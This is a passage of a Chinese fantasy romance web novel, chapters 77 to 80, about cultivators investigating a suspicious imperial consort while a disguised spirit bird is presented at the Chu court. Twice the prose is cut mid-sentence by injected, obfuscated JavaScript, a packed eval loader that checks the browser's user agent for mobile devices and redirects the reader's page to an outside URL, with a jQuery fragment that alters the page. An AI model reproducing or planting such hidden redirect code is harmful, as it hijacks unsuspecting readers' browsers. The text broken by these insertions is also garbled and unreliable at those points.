结果刚打开房门,她就听到了一阵疯狂的笑声,扭头一看,只见柳逸直从书库里跑了出来,手里高高举着一张白纸,上面乱七八糟画了一堆线条,他兴奋地展示给她看,“闫扶音!我想到办法了!哈哈哈!” 岚孟腹诽道,笑得像个傻子,她拉开房门走了进去。 77. 春如许 接下来的几天,柳逸直待在杳云居准备破阵的东西,岚孟按则部就班地泡着药浴,时不时上卧泉城里溜达,既是按照霜笛的指示“讨好”妖丹,顺便也打探打探皇宫那位的消息。楚国百姓对他们这位皇帝可谓是积怨已久,只要一提到他,无人不谈虎色变,哀叹连连。据说他沉迷酒色,对朝政漠不关心,若不是皇后殿下和以老丞相为守的忠臣们苦苦支撑着朝廷,楚国先祖打下的江山恐怕没几年就被皇帝给挥霍一空了。 然而就在几个月前,皇帝忽然开始重用一个叫崖昱的人,奉他为座上宾,予他国师之位和万贯家财。国师也迎合皇帝的喜好,大肆搜罗民间美人、美酒进宫,凝贵妃便是国师举荐的。皇帝专宠凝贵妃一人,甚至为她遣散了三千嫔妃,而国师也成了炙手可热的大红人,一时间风光无量。皇帝热衷于美人美酒,经常缺席早朝,最近更是将国事全权交由国师处理。 有了皇帝的支持,国师行事愈发肆无忌惮,半数以上的大臣都倒戈国师麾下,若不是还有丞相一党分庭抗礼,朝廷恐怕就成为他崖昱的一言堂了。不仅如此,他还抓了无数壮丁为凝贵妃修建逐月塔,谁要是反抗,那就只有死路一条。 原本安宁祥和的卧泉城被搞得乌烟瘴气,百姓们怨声载道,却也窝囊地不敢站起来反抗,谁知道那个昏君会做出什么事情来?当街纵马不顾百姓死活,一不高兴就砍人脑袋的事情,难道他做得还少了? 只要一想到皇帝做的那些糟心事,百姓们便会想起先皇的好来,毕竟先皇虽然雷厉风行了一点,手段强硬了一点,可哪次改革不是为了百姓好,不是为了楚国好?七八年前还带御驾亲征打下了姜国的三座城池,逼得姜国割了一大片土地和赔了一位公主,才换来了两国和平。 据说和亲来的公主在姜国也是个知书达理、文武双全的奇女子,甘愿远嫁千里之外,给姜国换得休养生息的机会,只可惜先皇子嗣单薄,公主只能嫁给当时的皇太子,也就是现在的皇帝这个扶不起的阿斗,真真是一朵鲜花插在牛粪上。 据说今日姜国得了一头奇珍异兽,想要献给楚国皇帝,姜国太子便带着神兽和土产前来朝贡,不日即将抵达王都。自从岚孟得到这个消息便一直盼望着姜国使团的到来,因为届时皇帝会带着他的三个后妃和前朝大臣出城迎接,这是混水摸鱼最好的机会。 三月初一,姜太子一行终于姗姗来迟,岚孟和柳逸直混进了围观的百姓之中,老早就等在城墙下翘首企盼,结果不只姜国使团没来,就连楚国皇帝一行人都还没到场。 尽管是两国交涉的大事情,卧泉城却远远达不到万人空巷的地步,毕竟皇帝喜怒无常,现在还敢凑到他跟前看热闹的,不是什么也不懂的傻子就是天王老子也不怕的疯子。 更何况为了在敌国面前争一口气,礼部的大臣还自掏腰包请了人来撑场子,省得百姓们一见皇帝来了就跟看到了洪水猛兽一般抱头鼠窜,不多时便没了人影,这样的场景要是让姜国使团看见,还不让人家笑掉大牙了,那礼部官员的乌纱帽也趁早摘掉吧,省得脑袋不够凉快。 护城河边的歪脖子柳树下,柳逸直懒散地靠在树上,穿着一身低调的布衣,岚孟则戴着鲛云纱帷帽坐在树根上,手里捏着一把瓜子,正津津有味地磕着。 柳逸直看着她乐在其中的样子,忍不住问道:“你好像很关心楚国皇帝?” “你想多了,那个肾虚的小白脸有什么好关心的?”岚孟吐掉嘴里的瓜子皮,实诚道:“我在意的是凝贵妃。” “那个疑似窃取了龙气的人?”柳逸直问道。 岚孟点头,她微微蹙眉,说出了自己的疑惑:“我感觉凝贵妃身上有一种似曾相识的微妙气息,总觉得在哪里遇见过。” “能做下这种偷梁换柱之事的人定然不是省油的灯,我们还是小心为妙。”柳逸直道。 说到这里,岚孟仰头看他一眼,犹疑道:“或许你还是不要插手这件事情了,若是身份暴露,幕后黑手很容易查到柳家头上,要是因此让你家人遭了殃可就不好了,率土之滨莫非王臣,即便皇帝昏庸无道,可楚国百姓的生杀予夺都掌握在他手里,柳家全族人头落地也只是他一句话的事情。” 柳逸直面露惊愕,他原以为天底下能让她放在心上的只有和尧玦相关的事情,其他的不论是人或者物,在她眼中都是浮云,着实没料到她竟然会关心连面都没见过的柳家人。 岚孟自然看出了他的诧异,皱眉道:“你这什么奇怪的表情?” 柳逸直收起惊诧,伸手挠了挠鬓角,心虚地移开视线,道:“我还以为你不会关注这些。” 岚孟生气道:“在你心里我就是这么冷血无情的人?怎么说我也认识柳意欢好么?自然在意她和她家里人的安危。” 与其说是冷血无情,不如说是不在意,柳逸直一直觉得她很傲慢,就像是翱翔于天际的苍鹰不会在意岩石缝里的杂草一样,在她眼里,人和草木或许没有分别,反正都是除了“我”之外的其他存在,和谁相处都好似隔着一层纱,若即若离,漠不关心。 她刚进山到源时,还和娄雪沁他们走得比较近,后来离开山到源时也没有和任何人告别,她离开这个消息还是从任务堂的师姐口中听来的,导致娄雪沁还在他面前唠叨了许久。 柳逸直已经从听来的只言片语中拼凑了岚孟这个人的生平——从降生开始就一直跟在尧玦身边,天南海北的跑,见惯了生离死别,看淡了爱恨情仇,从几乎没有她的记载和传言来看,尧玦应该对她实行了某种保护,淡化了世人对她存在的印象。而尧玦陨落之后,她成为了春神神使,期间或许一直都待在云登谷。等到“燧明之书”现世以后,她来到了屏基山,从书中寻得了某件事情的答案,然后出于某种目的隐瞒身份潜入了山到源,还在收集不知有何用途的东西,比如苍生泪,比如,引魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柳逸直点点头:“春光作序,万物和鸣,一切衰败的、破碎的、腐烂的,都可能在春天获得新生,没什么不好。” “是么……”岚孟讷讷道。 于她而言,只不过是因为有春神神使这一层身份,所以才对这个季节多了一些关注,毕竟责任在肩,她需得打起十二分的精神履行职责,否则愧对神主期待,也对不起云登谷和天下的百姓。 原来,在其他人眼中,春天是这样一个充满希望的季节么。 岚孟的目光逐渐飘向远方。 护城河岸边栽满了柳树,轻垂的柳条好似千万条随风飘荡的碧绿丝绦,用柔软的身体描绘着风的形状。草地上各色野花竞相开放,淡淡的香气引来蝴蝶驻足,一个身穿粉袄的小童躲在草丛中扑蝶,红润的脸颊上沾着草屑,她也舍不得伸手擦一擦,生怕惊飞了那只落在花间的彩蝶。小童蓄力朝前扑去,彩蝶便扑腾着翅膀从她手边溜走,从一对相互搀扶着走在岸边的老夫妇身侧飞过,他们布满了树皮般的褶皱的脸上短暂地浮起了一丝笑容。 春和景明。 78. 吐金鸟 “陛下来了!” 不知是谁嚎了一嗓子,身着甲胄的羽林卫举着红缨枪跑出来开道,百姓们纷纷逃到路边,让出了一条宽敞的大道,四下寂静无声,谁也没敢说话,因此由远及近的笃笃马蹄声显得格外清晰,不多时,四匹枣红大马拉着的车架率先冲出了城门,车上镶金嵌玉,轻纱曼舞,所过之处香风阵阵,跟在其后面的几架马车则低调得多。 车队在护城河外停了下来,大臣们纷纷走下马车,身着红红绿绿的整洁官袍,表情肃穆地站在车旁。第二辆马车上走下来两位个头一般高的女子,其中一人头戴凤冠,身着红金凤袍,气贯长虹,另一女子则内敛许多,但同样昂首挺胸,处之泰然,想必就是皇后和姜妃。 反观坐在车里没出来的皇帝,坐没坐相,像一根病歪歪的秧苗,倚靠在旁边的凝贵妃身上。大庭广众之下,两人腻腻歪歪,你侬我侬,皇后和姜妃板着脸不置一词,大臣们显然也对这种场景见怪不怪,皆眼观鼻、鼻观心,任由他们二人胡闹。 “皇帝名祯,凝贵妃不知道叫什么,皇后文唤音,是开国大将军文素的嫡亲曾孙女,姜妃单名一个芪字。”柳逸直低声朝岚孟介绍道。 修行之人眼力极好,纵使隔着十数丈远的距离,岚孟也能看清楚祯眼下的青黑和灰败的脸色。本打算好好观察凝贵妃一番,可楚祯身体虽然不好,精神头却很足,一直缠着凝贵妃,要搂要抱的,凝贵妃也温柔小意地窝在楚祯怀里任由他施为,是以岚孟一直没能看清楚凝贵妃的容貌。 碍事的皇帝。岚孟没再盯着那对狗男女看,将目光放在了站在料峭春风里的大臣们身上,她问道:“那个白胡子老头是谁?丞相?” 柳逸直顺着她的目光看去,只见文唤音身后站着的便是一个精神矍铄的白胡老者,眉毛如剑,斜插入鬓,一身绛紫官袍上以金线绣着优雅的仙鹤,展翅欲飞上青天,一股难以言说的威仪和从容自他身上静静流淌。 柳逸直道:“那是丁羽中丁丞相,三朝元老,早就到了致仕的年纪,可惜现在的皇帝庸碌无能,许多国事还需要他来决策,后来又冒出个国师,现如今也只有他能和国师分庭抗礼了。” “那国师呢?”岚孟问道。 柳逸直的目光在大臣们身上梭巡片刻,道:“不在这里。” 岚孟疑惑:“这等重要场合他不在?” “或许是去逐月塔了吧。”柳逸直猜道。 此前他们已经讨论过,在逐月塔下布置阵法的人,嫌疑最大的就是国师崖昱,毕竟这塔是他一手策划和督办的,要做什么手脚最为容易,但是他一向神出鬼没,没多少人见过国师的样子,岚孟在城中游荡数天,也一次没有打听到国师的踪迹。 这时,远处有车马声传来,只见一列车队缓缓朝卧泉城驶来,为首的年轻男子骑着高头大马,一头青丝用金冠竖起,剑眉星目,仪容不凡,想必就是此行的使臣,姜妃的胞弟,皇太子姜旻。 车队的中间有一架巨大铁笼,上面覆盖着红绸,将笼中景象遮得严严实实,不让外人看出一点蛛丝马迹,吊足了人的胃口。 岚孟跟前的几个百姓已经在窃窃私语,讨论着姜国要进献什么奇珍异兽。 “这么大的笼子,莫不是老虎豹子之类的吧?” “笨啊你?栖凰山上多的是老虎豹子,陛下想要的话让人去山里捉一只不就好了?用得着姜国千里迢迢进贡?必定是我们楚国没有的东西才能入得了陛下的眼。” “我听说是只会吐金子的鸟!” “真的假的?!你哪来的消息?” “自然是从我二叔的三舅父的第四个小姨子的……后面想不起来了,反正消息是从丞相府传出来的,保真!” “会吐金子的鸟倒是稀罕物,不知道我有没有机会见上一见啊!要是我也有这种鸟就好了,到时候也不用去干活,只等着鸟儿给我吐金子就可以了嘻嘻嘻……” “做什么春秋大梦呢你?这世上哪有天上掉馅饼的好事?” “我听说姜国使团住在白虎大街的驿馆里,紧挨着鸿胪寺,晚上姜太子这些使臣才会带着贡品进宫夜宴,这中间还有好几个时辰呢!” 他推了说出奇珍异兽消息的那个人一把,贼兮兮道:“你有亲戚在驿馆吗?能不能让官爷通融一下,让哥几个去见识见识会吐金子的鸟?” 那人翻了个白眼,“我七大姑八大姨都是种地的,要是真有亲戚做了官,你们以为老子还会和你们混一处?” 使团车队越来越近,三三两两散落在护城河边的百姓们开始自发地往道路中间靠近,说话的几人也不斗嘴了,相互推搡着往前面走,渴盼着能一睹吐金鸟的容颜。 岚孟和柳逸直也随大流挤进了人潮之中,狭窄的道路上摩肩接踵,不是你踩我就是我推你,时不时有暗骂声传入耳中。 人实在是太多,柳逸直原本和岚孟还隔着一个拳头的距离,不多时便被挤得贴近了她,一低头,便能看见她发丝掩映下圆润的耳垂。他伸长胳膊半圈在岚孟肩后,将拥挤都隔绝在了臂膀之外。 她没有耳洞呢,柳逸直无端地想。以前他虽然暗自监视她,但那是没什么其他心思,单纯只是好奇她有何图谋而已,却也不曾注意过,这个姑娘真的不擅于打理自己呢,寻常女儿家哪个不是喜欢漂亮衣裳和精美的首饰,纵使他在小飞楼的梳妆台里放了许多首饰,却一次也没见她戴过,整日素面朝天,任凭及膝长发随风而动。 肆意且美丽。 滚滚向前的人潮停了下来,柳逸直也放下了胳膊。 岚孟看着骑在高头大马上意气风发的少年太子,曲起手肘推了推身后之人,压低声音道:“嗳,姜国太子倒是比那个病秧子楚祯有皇室气度多了。” 恰逢不知道哪匹骏马一声嘶鸣,柳逸直没听清,他微微低下头,“你说什么?” “我说姜国太子……”岚孟朝他的方向转动脑袋,想要重复一遍方才的话,然而她一转头,便撞进了一双清亮的丹凤眼里,长睫垂下淡淡阴翳,琥珀色的深潭里有两个小小的她,眼皮上下眨了眨,一丝柳絮便从他浓密卷翘的睫毛上滑落,恋恋不舍地擦过散落在鬓边的发丝,然后才随着春风飘进了人潮之中。 “……还挺好看的。”岚孟忽然呆呆道。 柳逸直丈二摸不着头脑:“什么?” 岚孟猛然回神,找补道:“我说姜国太子挺好看的。” 柳逸直半晌才反应过来她什么意思,他抬眼看向已经下了马和楚祯等人说话的姜旻,少年人年岁还不及弱冠,身量尚显单薄,却已透露出几分清瘦的挺拔,长身玉立如出尘之竹,行动间可以窥见臂膀上紧实的肌肉,一举一动尽是清贵气质。 柳逸直勉强扯出一抹笑,迟疑道:“你喜欢他这样的?” 岚孟愣了一下,“呃,嗯,还好吧。” 柳逸直如遭雷劈。 她,她,她竟然承认了!她喜欢姜旻?那种瘦了吧唧的豆芽菜吗?男女之间的那种喜欢吗? 柳逸直现在只觉得手脚都不知道该往哪放,心里乱糟糟的,好像有一只手将他的心捏来揉去,怎么也不得安闲。慌张了好一会,柳逸直终于冷静下来,直觉她说的应该不是他以为的喜欢,偷偷斜眼觑着她的神色,只觉得她看向姜旻的眼神同看着路边的花花草草也没什么分别,甚至还不比面对他家小咪咪时深情。 也对,她这人冷淡得很,他时常还在怀疑她到底有没有“喜欢”这种感情。这样迟钝的人,怎么可能在大路边随便遇到一个男子就爱上了? 想通了这一点,柳逸直悬着的心才放了下来,只觉得任重道远,看来他得改变策略,得不动声色地让她意识到他是个可以发展更近的关系的男人,而不只是一段旅途的同行者,一个可有可无的友人,否则再继续这样温水煮青蛙,不得煮到猴年马月去? 岚孟已经完全将方才的小插曲抛开了,注意力全在凝贵妃身上,女人没有同其他人一样凑到姜旻跟前,而是乖顺地站在马车旁,她长着一张柔媚却不艳丽的脸,冰肌玉骨,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118117|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实是不可多得的美人,但岚孟只觉得她身上的气息十分怪异,而具体怪在何处,她也说不上来。 这厢岚孟拧眉深思的时候,姜旻已经领着楚祯去车队后方看姜国进献的珍奇异兽,候在铁笼边的侍卫一把掀开了盖在笼子上的红绸,笼内光景也显露眼前,众人纷纷惊呼起来,仿佛看见了什么了不得的事物。 岚孟在一片哇声中抬起头,一眼便望见了立在巨大铁笼里的金色巨鸟,它优雅地用喙梳理着羽毛,头顶的翎羽随着它的动作微微颤动。 隔着汹涌人潮,岚孟的目光不期然间对上了笼中之鸟,电光火石间,她忽然意识到了什么,朱唇微张,口齿清晰地吐出一个名字:“鸣珂?” 笼中鸟惊得叼下了一根羽毛,衔着那根羽毛四处乱看,一会抬头数数天上白云有几朵,一会低头看看脚下铁笼是不是结实稳固,一副很忙碌的样子。 柳逸直眼尖地瞧见了躲在车尾的一个熟悉人影,他朝那人一指,道:“你看那是谁。” 岚孟顺着他的手指看去,竟然在车队里看见了言如期,他穿着姜国使团发的统一服饰,低眉颔首努力降低自己的存在感,像是察觉到有强烈的目光注视着自己一般,言如期不经意朝人群中一望,一下子便在乌泱泱的人头中发现了岚孟和柳逸直,他顿时尴尬得脸红脖子粗,眼神躲闪,头几乎要埋进身前大大小小的贡品盒子里。 “他们这是闹哪出?”岚孟呢喃道。 楚祯见到了神鸟,顿时喜不自胜,扬言要好好招待姜国使团,站了这么大半天他也累了,于是便下令打道回府,两拨人浩浩荡荡地进了城。 尘土飞扬,车队彻底消失在视野里,百姓们也陆陆续续回了家。 岚孟抬起双手伸了个懒腰,甩了甩胳膊活动了一下,朝柳逸直道:“走吧。” 柳逸直眼神清澈,装傻道:“去哪?” 岚孟哪能看不出来?她眼珠一转,背起手,侧身贴着他的胳膊走过,她无所谓道:“那我自己去好了,你回杳云居去吧。” 柔软冰凉的发丝擦过柳逸直的手背,他望见她唇边勾起一个俏皮的笑容,哑然失笑,提步追了上去。 - 白虎大街,驿馆,姜国使团在此下榻。现在天色尚早,离约定的宫宴还有几个时辰的时间,使团的人都忙碌着各自的事情,收拾房间,清点贡品,准备膳食,安置马匹,忙得不可开交。 关着神鸟的巨大铁笼直接驶进了后院,几个楚国官吏帮忙将铁笼卸下了车,言如期拍了拍手上的灰,朝他们浅笑道:“几位大人辛苦了,神鸟喜静,这里由我们守着就可以了。” 官吏们识趣地退下了,等他们走远了,言如期才从袖子里掏出钥匙,将铁笼上的锁打开,一把拉开了铁门,“鸣珂,出来吧,已经没人了。” 神鸟抖擞身子,摇身一变化作一个金衣女子,她三两步跳到了车门边,言如期牵着她的手将人扶了下来。 姜旻一个人跑了过来,他脱掉了那身风尘仆仆的锦衣,换了件宽松舒适的蓝袍,腰间挂着一柄短剑,他朝鸣珂两人抱拳,面露歉意:“委屈两位仙长了。” 鸣珂笑嘻嘻地摆手,“太子殿下说的哪里话,笼子里垫了软垫,这一路我睡得很舒服哟。” 姜旻松了一口气,刚想说“那就好”,然而话未说出口,他忽然抬头,面露严肃,神经紧绷,“欻”地一声抽出腰间短剑就朝斜后方掷去,同时大喝道:“什么人!” 势如破竹的短剑忽然直愣愣悬停在了半空中,廊柱后走出一个清瘦男子,他神仪明秀,朗目疏眉,普通的布衣不掩他如珪如璋的气质。 他往前走了一步,身后女子的身姿便显露在人前。她身着绯衣,瑰姿玮态,珠初涤其月华,柳乍含其烟媚①,腰间的蹀躞带上分开挂了一刀一剑,走动时刀柄碰在金带扣上发出清脆的响声。 柳逸直抬眼对上姜旻的目光,唇畔浮起了一抹意味不明的笑意。 “传闻皇太子听觉敏锐,今日一见,果然名不虚传。” 79. 进宫前 姜旻双腿呈八字平行开立,膝盖微曲,两手握拳呈防备姿势,他面露警惕,先声夺人道:“你们是何人?怎么进来的?难道不知道这里是我姜国使团下榻处吗?” 他一双鹰眼紧紧盯着不请自来的两人,像只奓了毛的猫,竖起全身的刺,想要用气势威慑住踏进自己领地的入侵者。 然而这点威慑力并没有唬住来人,只见为首的男子往前走了一步,抬手将悬停在半空的短剑拿了下来。 姜旻这才发现自己的佩剑竟然是自个悬浮在空中的,他不由得愣了一下,就这一晃神的功夫,短剑被人隔空掷来,稳稳当当插进了腰间剑鞘里,发出一声轻响。 鸣珂连忙跑过来,朝姜旻赔笑道:“自己人自己人,太子殿下不必害怕。” 她跃到岚孟跟前,亲亲热热地揽住她的肩膀,笑问道:“你们怎么在这?” 岚孟道:“我还想问你呢,混进使团意欲何为?” 她扯了扯鸣珂身上的金色法衣,道:“还假扮吐金鸟?你就不怕被人拆穿吗?” 鸣珂“嗐”了一声,“一两句话说不清楚,走这边,我慢慢和你说。”她揽着岚孟朝厢房里走去。 言如期朝姜旻介绍道:“这位是柳逸直师兄,方才那姑娘是闫扶音,他们都是山到源的同门。” 姜旻已卸下了防备,端端正正站在原地,瞧着像是有些拘谨,朝柳逸直抱拳道:“见过柳仙长,方才多有冒犯,还望您见谅。” 柳逸直上下打量着姜旻,心想这皇太子倒是不卑不亢,他道:“是我们冒昧登门,惊扰圣驾了。” 虽然姜旻贵为一国太子,跟在姜王身边处理国事,也见了不少大场面,可说到底只是个凡夫俗子,对修行者有着天生的敬畏,第一次见到鸣珂原地化作一只巨大青鸾时差点吓软了腿,这一路走来,和平易近人的言如期相处久了,才稍微放平了心态。如今又遇到了两位修行者,虽然被乍然吓了一跳,可感觉柳逸直没有恶意之后,便迅速恢复了心态,爽朗道:“仙长客气了,既然您是言大哥的朋友,那便也是我姜旻的朋友,该姜旻向您赔不是才对。” 柳逸直心想这就是一国太子的教养吗?虽然彬彬有礼,不失风度,但是好累……止住他的动作,道:“不必如此拘礼……” 两人你来我往了好一会,言如期看不下去了,打断道:“二位别再谦让了,让我们坐下来,正常地说话交谈,好吗?” 柳逸直和姜旻对视一眼,迅速达成了共识,三人一同朝正厅走去。 厢房里,鸣珂坐在软榻上,娓娓道来:“从山河图出来以后,我按照商量好的,将村民们领到了清风村旧址,可那里早就荒废了,水源也早已干涸,所以我就在附近找了个繁华的城镇,保证他们找得着活计做,饿不了肚子以后,就将他们丢在那,然后就去和言如期汇合了。” “言如期说想去附近山上找株了不得的草,那草还有什么灵兽看守,可我们到那里的时候,发现已经被人捷足先登了,就是姜国的太子,灵兽发了狂,他差点被咬断喉咙,我们就顺手帮了他一把,也从他口中得知楚国的事情。” 说到这里,鸣珂做贼心虚似地朝四周望了望,身体挨近岚孟,在她耳边神神秘秘道:“楚国的贵妃,不是人!” 岚孟心想,还以为是什么了不得的大事呢,她也没有拂了鸣珂的兴致,配合地露出一个惊讶的表情,追问道:“然后呢?” “姜旻她姐姐不是被困在楚国皇宫里么?她虽然看不上楚国皇帝,但是和皇后很要好,也不忍心让楚国百年基业毁在皇帝手里,所以和皇后商量好了,要是姜旻能帮助她们除掉贵妃,哦,还有那个什么国师,就同意商谈姜国失地的事情。” “所以姜旻就想了个法子,找个由头来到楚国,先把贵妃弄死,再把国师弄死,开开心心收复失地,”鸣珂一拍手掌,“岂不美哉?” 岚孟明白了,“所以他一开始是看上了守护仙草的那只灵兽?失手之后才求你帮他?” 鸣珂打了个响指,“你猜得没错!不过……” 她卖了个关子,岚孟一下子会意,纳闷道:“不会是你主动要帮他吧?就这么想淌这趟浑水?” 鸣珂哈哈一笑,“反正无事可做,找点乐子玩玩嘛!就凭他们几个凡人,怎么可能斗得过不知是精是怪的凝贵妃?我这也算是惩奸除恶、替天行道了!” 岚孟叹了口气,道:“事情没有你们想象的那么简单,凝贵妃此人深不可测,我还看不透她,而且她背后还有人,妄图窃取楚国龙气,绝不是省油的灯。” 鸣珂面露兴奋:“那就更得我鸣珂大侠出马了!任他是妖魔鬼怪还是魑魅魍魉,在我鸣珂的业火之下,通通无所遁形!” 岚孟无奈扶额,忘了这家伙最是看热闹不嫌事大的性格了。 鸣珂早就注意到岚孟这身不同以往的打扮了,伸手捏了捏她袖口的玉兰花,笑得暧昧:“嗳,我说,你是不是有什么情况啊?” 岚孟疑惑:“什么什么情况?” 鸣珂道:“衣服啊!你以前从来不穿红色的,不是黑就是灰白,我还当你不喜欢其他颜色呢,现在想想,你不会是在为尧玦着素吧?他都死了快二十年了,你也真够深情的。” 岚孟啼笑皆非:“我既不是他闺女,也不是他媳妇,给他服哪门子的丧?” “哦?”鸣珂语含玩味,“那你怎么忽然转性穿红衣服了?” 岚孟解释道:“别人送的,不穿白不穿。” “别人?是柳师兄吧。”鸣珂已然猜出了真相。 岚孟抬眼看她,诧异道:“你怎么猜出来的?” 鸣珂笑了一声,“这还用猜?你身边不就一个柳逸直么,除了他还能有谁?” 岚孟心道,虽然事实确实如此,但是这种被人掐住了小辫子的感觉是怎么回事?她忍不住反思自己,不能因为觉得柳逸直也算是个可信之人而懈怠啊。 “所以呢?”鸣珂觑着她的神色,直言问道:“你们发展到哪一步了?” 岚孟疑惑:“什么?我怎么听不懂。” 鸣珂恨铁不成钢道:“你是真不懂还是装不懂啊?柳师兄明显就是喜欢你啊,不然他送你这么好看的裙子做什么,他的银子多得没地花是吗?” “怎么可能?”岚孟下意识否认,“这是因为他之前不小心弄破了我衣服,所以才赔给我的,才不是你说的那什么喜欢。” “这样的么?”瞧着岚孟笃定的神色,鸣珂也不由得怀疑自己了。她的火眼金睛难道看走眼了? “就是这样的。”岚孟点头道。 柳逸直喜欢她?这可不兴开玩笑啊。在此之前他们可是一言不合就能打起来那种关系,她还一度威胁利用他,也就柳逸直脾气好、守信用,没有向山到源告密,也没有在其他人面前拆穿她的 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柳逸直开门见山道:“方才我和言师弟讨论过了,他和鸣珂进宫联络皇后,同时观察凝贵妃的动向,我和闫扶音继续设法毁掉逐月塔。” 他扭头看向岚孟,问道:“你意下如何?” 所有人的目光都汇聚到了岚孟身上,她才如梦初醒,皱眉道:“何必如此心急?你们摸清楚凝贵妃和国师的底细了吗?什么都不知道就往人家的地盘闯,也不怕被人瓮中捉鳖。” 鸣珂笑道:“我们此行不就是为了去探探凝贵妃的老底么?俗话说不入虎穴焉得虎子,更何况那凝贵妃也不见得是猛虎,说不定掀开她的人皮一看,底下是个憨态可掬的小猫咪呢!” 岚孟欲言又止,张开的嘴又闭上了,看鸣珂那斗志昂扬的样子,恐怕是铁了心要淌这趟浑水了,她说再多人家也听不进去。更何况现在箭在弦上,姜国那小太子眼巴巴地望着呢,而且皇帝和凝贵妃已然见过“吐金鸟”了,现在临时改变计划,反而更会引起怀疑。 “既然如此,我也不多说什么了,凝贵妃绝不是省油的灯,你们千万不要露了破绽。” 姜旻立即起身拱手道谢,“多谢各位仙长了,姜某感激不尽,日后必涌泉相报。” 柳逸直见岚孟抿着唇不说话,便笑着打圆场道:“殿下客气了,丹灵卫职责所在,就算贵国使团没来,我们也不会坐视不理。” 进宫的时辰到了,鸣珂穿上法衣变作吐金鸟钻进了笼子里,言如期也换上早已备好的衣服扮作御鸟使,混进了使团队伍。 迎着落日的余晖,马车笃笃驶向皇宫,不多时便消失在了街角。 柳逸直在岚孟身旁站定,低头看着她深深皱起的眉头,低声道:“你也别太担心了,他们实力不弱,要是真遇到危险,定会向我们传讯的,不会傻站着让人砍。” 岚孟叹了口气,“主要是凝贵妃给人的感觉太过怪异,我总有种不好的预感。” “怪在何处?”柳逸直问。 “就是因为看不出来怪在何处,我才反对他们贸然进宫。”岚孟道,余光瞥见身侧男子微微向自己倾斜的脑袋,琥珀色的眼瞳和认真倾听的神色,她忽然想起了鸣珂的话,忽然感觉心中一阵烦躁,拉下脸推了柳逸直一把,不耐烦道:“别靠我这么近。”然后气冲冲地走了。 柳逸直不明所以,伸手理了理被她拂乱的衣襟,一边丈二摸不着头脑一边提步跟了上去。 80. 御鸟使 金碧辉煌的大殿里银烛高照,琉璃宫灯火光摇曳,映照在文武百官的脸上。丝竹之声婉转悦耳,宫女们身姿袅娜,随着乐声翩然起舞,觥筹交错,气氛融洽而热烈。 楚祯窝在最上首的龙椅之中,凝贵妃贴身服侍他饮酒,皇后文唤音和嫔妃姜芪分别坐在皇帝左右。 姜旻被安排在姜芪下首,心不在焉地端着酒杯,眼睛则默默打量着对面席位上的官员,听说楚国文武百官分丁丞相和国师两派,斗得不可开交,但这样接待敌国使臣的宴会上,官员们都和和气气的,至少从明面上看不出来谁和谁在较着劲。 他的目光落在了正对面空着的席位上,那是国师的位子,从开席至今都没有见到他的人影,也不知他来不来。 又一舞结束,宫女们福了福身,纷纷低着头退出大殿。凝贵妃将手搭在楚祯肩上,媚眼如丝,撒娇道:“陛下,不如让姜太子请神鸟上来吧,妾对传说中会吐金子的鸟好奇得紧,迫不及待想要见识一番了!” 楚祯自然不会拒绝爱妃,他微微直起身,看向下方的姜旻,扬声道:“方才太子说要让那什么御鸟使准备一番,现在也该是准备好了吧?” 姜旻起身朝楚祯拱手,不卑不亢道:“神鸟自山野来到这等富丽堂皇之地,难免会不适应,羞于吐金,所以孤才让御鸟使安抚神鸟的情绪,也是为了给陛下和几位娘娘表演吐金之术。” 楚祯皱起眉,不耐烦道:“解释那么多作甚?寡人就问你一句话,现在能让神鸟吐金了吗?” 姜旻颔首:“陛下莫急,孤这就让御鸟使带神鸟进殿。” 他朝身后的侍卫递去一个眼神,后者立即走出了大殿,不多时,殿门的小黄门高喊道:“吐金神鸟到!” 几乎是他话音落下的一瞬间,一只金黄色的巨鸟轰然飞进了大殿之中,浓密纤长的尾羽拖曳出长长的流光,如同一道金色闪电,双翼宽大有力,挥出的阵阵清风掀起了梁上悬挂的轻纱, 清脆的啼鸣声犹如天籁直入人心,大臣们不约而同屏住了呼吸,目不转睛地盯着在半空中盘旋清啼的吐金鸟。 它长鸣一声,飞到了大殿的最上方,落在了楚祯面前的案桌上。楚祯被忽然飞来的半人高的巨鸟吓了一跳,还是凝贵妃拉了他一把,才没让楚国的皇帝在自家大臣和敌国太子面前从龙椅上滑下来。 吐金鸟上下晃了晃脑袋,楚祯咽了咽口水,鼓起勇气朝它伸出手,吐金鸟也温顺地朝他靠近,喙在他掌心点了点,张开嘴吐出一块婴儿拳头大的金子来。 掌心的金子沉甸甸的,楚祯大笑起来,将金疙瘩高高举起,大臣们纷纷鼓起掌来。 吐金鸟振翅高飞,在大殿中盘旋,它身上的羽毛忽闪忽闪发出了金色光芒,无数片金羽从它身上掉了下来,大臣们也顾不得矜持,纷纷伸手去捡掉落在自己身畔的金羽。 这时,一个身着玄金衣袍的男子走进了大殿,吐金鸟清啼一声,俯冲而下,身体骤然变得只如鹰隼一般大,最后稳稳停在了男子支起的胳膊上。 姜旻介绍道:“陛下,这位便是御鸟使,丛云。” “丛云”言如期将空着的手斜在胸前,弯腰低头朝楚祯行了一个姜国的礼仪。 楚祯高兴地说了三声好,大笑道:“重重有赏!” 姜旻见楚祯兴致高昂,于是便趁热打铁道:“陛下,吐金鸟性子高傲,除了御鸟使谁也不能靠近它半分,它也只吃御鸟使准备的食物,为了让神鸟在楚国也能正常生活,还请陛下允许御鸟使进宫陪伴神鸟,等教会宫中兽师熟悉神鸟习性,精通制作神鸟膳食之后,再让他返回使团。” 使团还会在卧泉城待五六天,这段时间也够兽师学会照顾神鸟了,于是楚祯便答应了。 姜旻心中窃喜,妥了。他抬头望向大殿中央的言如期,后者微微点了点头,举着吐金鸟退出了大殿。 